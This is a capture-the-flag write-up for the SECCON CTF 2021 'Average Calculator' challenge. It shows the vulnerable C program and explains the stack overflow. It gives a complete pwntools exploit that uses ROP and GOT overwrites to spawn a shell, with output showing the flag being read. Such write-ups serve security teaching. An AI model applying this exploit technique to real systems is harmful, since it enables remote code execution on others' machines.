# Average Calculator (pwnable, 56 teams solved)
###### tags: `SECCON CTF 2021`
## Overview
This problem is a simple stack buffer overflow challenge but requires a bit of ingenuity.
The binary calculates an average of input numbers.
```
$ ./average
n: 5
A[0]: 1
A[1]: 2
A[2]: 3
A[3]: 4
A[4]: 5
Average = 3
```
Source code:
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
long long n, i;
long long A[16];
long long sum, average;
alarm(60);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("n: ");
if (scanf("%lld", &n)!=1)
exit(0);
for (i=0; i<n; i++)
{
printf("A[%lld]: ", i);
if (scanf("%lld", &A[i])!=1)
exit(0);
// prevent integer overflow in summation
if (A[i]<-123456789LL || 123456789LL<A[i])
{
printf("too large\n");
exit(0);
}
}
sum = 0;
for (i=0; i<n; i++)
sum += A[i];
average = (sum+n/2)/n;
printf("Average = %lld\n", average);
}
```
## Vulnerability
The vulnerability of the binary is obvious.
There is no boundary check when assigning input numbers to `A`.
So, we can make stack buffer overflow.
The only difference from regular stack buffer overflow challenges is that the range of values that can be written is restricted to between -123456789 (0xfffffffff8a432eb) and 123456789 (0x75bcd15).
This range means that we can write an address of the binary (since compiled without PIE) but not libc's one.
## Solution
Although leaking libc's addresses is not affected by the restriction, we cannot call `system("/bin/sh")` or one-gadget RCE by return oriented programming (ROP).
Let us adopt [GOT overwrite](https://blog.pwntools.com/posts/got-overwrite/).
Arbitrary 64-bit value can be written to arbitrary address of the binary by calling `scanf("%lld")` in ROP.
By writing the address of `system` to GOT and calling the corresponding PLT, we can call `system`.
Since variables `i` and `n` are located after `A`, we have to take care to keep their original value while overwriting.
```python=
from pwn import * # pwntools
elf = ELF("average")
context.binary = elf
s = remote("average.quals.seccon.jp", 1234)
# Since pwn.ROP inserts large values, manually ROP :(
pop_rsi_r15 = 0x4013a1
pop_rdi = 0x4013a3
nop = 0x4013a4
payload = ([0]*16 + [
0, # n
0, # average
0, # sum
19, # i
0, # rbp
# puts(puts)
pop_rdi,
elf.got.puts,
elf.plt.puts,
# scanf("%lld", alarm)
pop_rdi,
next(elf.search(b"%lld")),
pop_rsi_r15,
elf.got.alarm,
0,
nop,
elf.plt.__isoc99_scanf,
# scanf("%lld", setvbuf)
pop_rdi,
next(elf.search(b"%lld")),
pop_rsi_r15,
elf.got.setvbuf,
0,
elf.plt.__isoc99_scanf,
# alarm(setvbuf) = system("/bin/sh")
pop_rdi,
elf.got.setvbuf,
nop,
elf.plt.alarm,
])
payload[16] = len(payload) # n
s.sendlineafter(b"n: ", str(len(payload)).encode())
for p in payload:
s.sendlineafter(b": ", str(p).encode())
s.readline() # Average = ???
puts = int.from_bytes(s.readline()[:-1], "little")
libc = ELF("libc.so.6")
libc.address = puts - libc.symbols.puts
s.sendline(str(libc.symbols.system).encode())
s.sendline(str(unpack(b"/bin/sh\0")).encode())
s.interactive()
```
```
$ python3 solver.py
[*] '/seccon_2021/average/average'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to average.quals.seccon.jp on port 1234: Done
[*] '/seccon_2021/average/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-xr-x 1 root average 4096 Dec 9 20:21 .
drwxr-xr-x 1 root root 4096 Dec 9 20:21 ..
-r-xr-x--- 1 root average 16944 Dec 9 20:20 average
-r-xr-x--- 1 root average 37 Dec 9 20:20 average.sh
-r--r----- 1 root average 68 Dec 9 20:20 flag.txt
$ cat flag.txt
SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}
```
`SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}`
## Appendix
If you feel this challenge is too easy, try FullRELRO version.
@moratorium08, a tester for this challenge, have solved even with FullRELRO enabled.
You can get the FullRELRO version by:
```
$ gcc -Wl,-z,relro,-z,now -fno-stack-protector -no-pie -fcf-protection=none average.c -o average_fullrelro
```